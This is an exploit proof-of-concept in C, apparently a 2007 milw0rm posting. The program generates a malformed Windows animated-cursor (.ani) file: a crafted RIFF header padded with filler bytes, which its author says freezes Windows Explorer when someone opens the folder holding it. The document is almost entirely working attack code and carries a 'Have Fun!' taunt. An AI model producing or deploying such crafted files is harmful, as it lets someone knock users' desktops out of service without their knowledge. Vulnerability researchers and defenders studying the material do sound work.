Microsoft Windows Explorer - '.ANI' File Denial of Service

/****************************************************************************
*              MS Windows Explorer Unspecified .ANI File DoS                *
*                                                                           *
*                                                                           *
* Another .Ani bug that freezes Explorer if you open a folder that contains *
* a crafted file.                                                           *
*                                                                           *
* Tested against Win XP SP2 FR.                                             *
* Have Fun!                                                                 *
*                                                                           *
* Coded by Marsu <[email protected]>                               *
****************************************************************************/

#include "stdio.h"
#include "stdlib.h"

unsigned char Ani_headers[] = 
"\x52\x49\x46\x46\x08\x4d\x00\x00\x41\x43\x4f\x4e\x61\x6e\x69\x68"
"\x24\x00\x00\x00\x24\x00\x00\x00\x06\x00\x00\x00\x06\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00"
"\x0a\x00\x00\x00\x01\x00\x00\x00\x72\x61\x74\x65\x18\x00\x00\x00"
"\x03\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00"
"\x03\x00\x00\x00\x03\x00\x00\x00\x4c\x49\x53\x54\xa8\x4c\x00\x00"
"\x66\x72\x61\x6d\x69\x63\x6f\x6e\xbe\x0c\x00\x00\x00\x00\x02\x00"
"\x01\x00\x20\x20\x00\x57\x57\x57\x57\x00\xa8\x0c\x00\x00\x16\x00"
"\x00\x00\x03" //Change this last char to avoid crash
;

int main(int argc, char* argv[])
{
	FILE* anifile;
	char evilbuff[4000];
	printf("[+] MS Windows Explorer Unspecified .ANI File DoS\n");
	printf("[+] Coded by Marsu <[email protected]>\n");
	if (argc!=2) {
		printf("[+] Usage: %s <file.ani>\n",argv[0]);
		return 0;
	}
	
	memset(evilbuff,'A',4000);
	memcpy(evilbuff,Ani_headers,sizeof(Ani_headers)-1);
	
	if ((anifile=fopen(argv[1],"wb"))==0) {
		printf("[-] Unable to access file.\n");
		return 0;
	}
	fwrite( evilbuff, 1, 4000, anifile );
	fclose(anifile);
	printf("[+] Done. Have fun!\n");
	return 0;
	
}

// milw0rm.com [2007-04-08]